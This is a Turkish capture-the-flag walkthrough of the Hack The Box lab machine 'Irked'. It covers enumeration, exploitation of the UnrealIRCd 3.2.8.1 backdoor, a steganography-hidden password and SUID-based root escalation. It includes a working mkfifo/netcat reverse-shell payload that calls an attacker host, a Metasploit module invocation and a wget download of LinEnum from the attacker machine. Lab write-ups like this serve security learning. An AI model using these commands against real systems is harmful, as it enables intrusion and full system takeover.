Hack The Box: Irked Çözümü

0
206
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Irked isimli Kolay zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Irked sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.117
  • İşletim Sistemi: Linux

 

A) Port Tarama

Port taraması sonucunda 7 adet portun açık olduğu tespit edilmiştir.

nmap -sS -sC -sV -vv -p- –open 10.10.10.117 -oN fulltcp

 

Açık portlar aşağıdaki gibidir:

  • 22/tcp
  • 80/tcp
  • 111/tcp
  • 6697/tcp
  • 8067/tcp
  • 44447/tcp
  • 65534/tcp

 

B) SSH Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\22 portunda çalışan SSH servisinin sürümünde (OpenSSH 6.7p1) herhangi bir zafiyet bulunmadığı tespit edilmiştir.

 

C) HTTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\80 portunda Apache (Httpd 2.4.10) servisi çalışmaktadır.

İlgili URL’e tarayıcı üzerinden ziyaret edildiğinde, aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır.

http://10.10.10.117

 

İlgili sayfaya gerçekleştirilen “curl” isteğine dönen yanıt incelediğinde, sunucu sürüm bilgisi ifşası ve web tarayıcı arayüzünde karşılaştığımız resim ve IRC servisinin çalıştığına dair bir ifade bulunmaktadır.

curl -i 10.10.10.117

 

İlgili HTTP servisi “gobuster” aracı ile tarandığında (crawl edildiğinde) pek bir bilgi elde edilememiştir.

gobuster -u 10.10.10.117 -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -o gobuster

 

Benzer olarak “nikto” aracı bilgi toplama işlemi gerçekleştirildiğinde de yeni bir bilgi elde edilememiştir.

nikto –host=http://10.10.10.117

 

Apache web sunucusuna ait sürüm bilgisi 2.4.10 olarak tespit edilmişti. Bu sürüme ait zafiyetler “searchsploit” aracı ile araştırılabilir.

searchsploit apache 2.4.

 

Yukarıda ekran görüntüsü verilen “Apache < 2.2.34 / < 2.4.27 – OPTIONS Memory Leak” zafiyeti ile bilgi ifşası sağlanabilir. Ancak Optionsbleed (CVE-2017-9798) adlı bu zafiyetten de yeni bir bilgi elde edilememiştir.

 

Son olarak “irked.jpg” dosyası içerisinde kriptografik işlemler ile veri gizleme tekniklerinin uygulanıp uygulanmadığı “steghide” aracı ile incelenebilir. Söz konusu resim dosyası üzerinde gerçekleştirdiğimiz bilgi toplama aşamasında dosyanın parola korumalı bir dosya olduğu ve “pass.txt” isimli bir dosyanın bu resim içerisinde gizlenmiş olduğunu tespit ediyoruz.

steghide info irked.jpg

 

Not: Veri gizleme ile ilgili araçlar için kaynaklardaki 0xrick hesabının Github sayfası incelenebilir.

 

D) IRC Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\8067 portunda “UnrealIRCd” uygulaması çalışmaktadır.

IRC servisi hakkında kısaca bilgi vermek gerekirse;

IRC (Internet Relay Chat), internet dünyası üzerinde en sık kullanılan protokollerden biridir. İnternet üzerinden bir çok kişinin aynı anda konuşabilmesi, dosya alışverişi yapabilmesini sağlar. İlgili servis üzerinden sohbet başlatabilmeniz için bir IRC sunucuya (server) bağlanmanız gerekmektedir. Söz konusu servis üzerinden sohbet gerçekleştirilen tüm kullanıcılar bu sunucuya bağlıdır. Bu aşamada yazılan mesajlar önce sunucuya ardından diğer kullanıcılara gitmektedir.

IRC sunucuya bağlanarak sohbet etmek istenildiğinde ise mutlaka bir istemciye (client) ihtiyacınız bulunmaktadır. Bunun için ise şuan Kali repoları üzerinde bulunan “hexchat” uygulamasını kullanacağız.

İlgili servis ile bağlantı kurabilmek ve söz konusu servis üzerinden bilgi toplama işlemini gerçekleştirmek için ilk olarak Kali repoları üzerinden servisi indiriyoruz.

apt update && apt install -y hexchat

 

Hexchat uygulamasını kullanarak söz konusu IRC sunucusu ile bağlantı gerçekleştirebilmek için Google arama motoru üzerinden bilgi toplanabilir.

 

Gerçekleştirdiğimiz bilgi toplama işlemi ile IETF‘nin sitesinde RFC dokümanına erişim sağlanabilir.

 

IRC üzerinden çalıştırılabilecek komutlar da bu dokümanda yer almaktadır.

 

Aşağıda detayları verilen komutları kullanarak IRC sunucuya bağlanma işlemini gerçekleştiriyoruz.

telnet 10.10.10.117 8067
PASS brc
NICK brc
USER brc testhost testserver :brc

 

Yukarıda gerçekleştirdiğimiz bağlantı işlemine ait ekran görüntüsü verilmiştir. Söz konusu işlem incelendiğinde burada bağlandığımız ilgili sunucuya ait sürüm bilgisinin ifşası ve sunucunun kurulumuna ait tarih bilgisinin bulunduğu tespit edilmiştir.

 

E) UnrealIRCd Uygulamasının İstismarı

Söz konusu sunucu üzerinde gerçekleştirilen zafiyet aramasına ait ekran görüntüsü aşağıda verilmiştir.

searchsploit unrealirc 3.2.8.1

 

Tespit edilen “UnrealIRCd 3.2.8.1 – Remote Downloader/Execute” istismar koduna ait Perl betiğinin içeriği “searchsploit” aracı ile incelenebilir.

searchsploit -x 13853.pl

 

Bu betik kullanılarak ters bağlantı elde edilebilir. Bu amaçla öncelikle dinleyici başlatılır.

nc -lvp 3333

 

Sonrasında IRC servisine bağlanılarak çalıştırılmak istenen ve ters bağlantı sağlayacak olan komut çalıştırılır.

nc 10.10.10.117 6697
AB; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.6 3333 >/tmp/f

 

Böylece “ircd” adlı kullanıcı hesabı yetkisi ile ters bağlantı isteği yakalanmıştır. Bu kullanıcı yetkisi ile “djmardov” kullanıcısının dokümanlarındaki “user.txt” dosyası okunamamaktadır.

id
locate “user.txt”
cat /home/djmardov/Documents/user.txt

 

Not: Benzer istismar işlemi, MSF unreal_ircd_3281_backdoor istismar modülü kullanılarak da gerçekleştirilebilirdi.

use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 10.10.10.117
set RPORT 6697
exploit

 

Sistem üzerinde ve dizini “/home” olan kullanıcılar incelendiğinde “djmardov” ve “irc” hesapları tespit edilmiştir.

ls -l

 

F) Yatay Yetki Yükseltme (“ircd” Kullanıcısından “djmardov” Kullanıcısına Geçiş)

“djmardov” kullanıcısının dokümanlarındaki “.backup” dosyası okunabilmektedir.

ls -l
cd djmardov
ls -la
cat .backup

 

Bu dosya içerisinde “steg” parolası bulunmaktadır. “irked.jpg” dosyasına ait parolanın tespiti için yine “steghide” aracı kullanılabilir. Resim içerisinde “pass.txt” isimli bir dosyanın gizlendiği görülmektedir.

steghide extract -sf irked.jpg -p UPu************BAbaSSss
ls -l
cat pass.txt

 

Tespit edilen bu parola bilgisi kullanılarak “djmardov” kullanıcısı ile SSH bağlantısı gerçekleştirilebilmiştir. Böylece “user.txt” dosyası okunabilmiştir.

ssh djmardov@10.10.10.117 -p22
id
python -c ‘import pty; pty.spawn(“/bin/sh”)’
locate “user.txt”
cat /home/djmardov/Documents/user.txt

 

G) Dikey Yetki Yükseltme (“djmardov” Kullanıcısından “root” Kullanıcısına Geçiş)

Hak yükseltme yollarını keşif için “LinEnum.sh” betiği kullanılabilir.

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

 

Github üzerinden Kali makineye indirdiğimiz “LinEnum.sh” betiğini, buradan da hedef kurban sisteme yükleyeceğiz. Ve hedef sistem üzerinde söz konusu betiği çalıştırarak, sistem üzerindeki varlıkların durumunu inceleyeceğiz.

LinEnum.sh betiğini kurban sanal makineye transfer etmek için web servisi kullanılabilir. Bu amaçla, Kali makinesi üzerinde HTTP servisi başlatılır.

python -m SimpleHTTPServer

 

Hedef sanal makineye “wget” aracı ile “LinEnum.sh” betiği indirilir ve çalıştırılabilecek hale getirilir.

which wget
wget http://10.10.14.6:8000/LinEnum.sh
chmod +x LinEnum.sh

 

Aşağıda detayı verilen komut ile söz konusu betik, hedef sistem üzerinde çalıştırıldığında SUID bit içeren dosyalar arasında normal şartlar altında listelenen dosyalardan biri olmayan “/usr/bin/viewuser” dosyasının da listelendiğini tespit ediyoruz.

bash LinEnum.sh

 

Söz konusu dosyayı çalıştırdığımızda aşağıda ekran görüntüsünde de görüldüğü üzere o an terminale bağlı olan kullanıcıları listelediğini gözlemliyoruz. Bununla beraber, “listusers” adlı dosyayı çalıştırmak istediğini ancak “/tmp” dizinin altında ilgili dosyayı bulamadığına dair bir hata döndürdüğünü tespit ediyoruz.

/usr/bin/viewuser

 

viewuser” aracı, Kali makineye kopyalanarak, “ltrace” aracı ile incelendiğinde de benzer yorum yapılabilmektedir.

 

Bu hatadan yola çıkarak “/tmp” dizini altına istenilen “listusers” dosyasını oluşturursak istediğimiz herhangi bir komutu “root” yetkisi ile çalıştırma yetkisi elde etmiş olacağız.

Aşağıda ekran görüntüleri ile detayları verilen komutları takip ederek hedef sistem üzerinde “listuser” dosyasını oluşturuyor ve ilgili dosyaya çalıştırma yetkisini veriyoruz.

echo id > /tmp/listusers
/usr/bin/viewuser
chmod 755 listusers
/usr/bin/viewuser

 

Ardından ilgili dosyanın içerisine “root” yetkilerini elde edebileceğimiz “/bin/bash” komutumuzu ekliyor ve “/usr/bin/viewuser” komutunu vererek scriptimizi çalıştırıyoruz. Son olarak ise “root.txt” dosyamızı okuyoruz.

echo /bin/bash >> listusers
/usr/bin/viewuser
whoami
locate “root.txt”
cat /root/root.txt

 

 

Kaynaklar:

https://pentestworld.blogspot.com/2019/08/irked-ip-10.html
https://0xrick.github.io/hack-the-box/irked/

LinEnum Betiği ile Tespit Edilen Zamanlanmış Görev Betiğinde Hatalı Joker Karakteri Kullanımı (tar Aracı) ile Hak Yükseltme


https://0xrick.github.io/lists/stego/

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz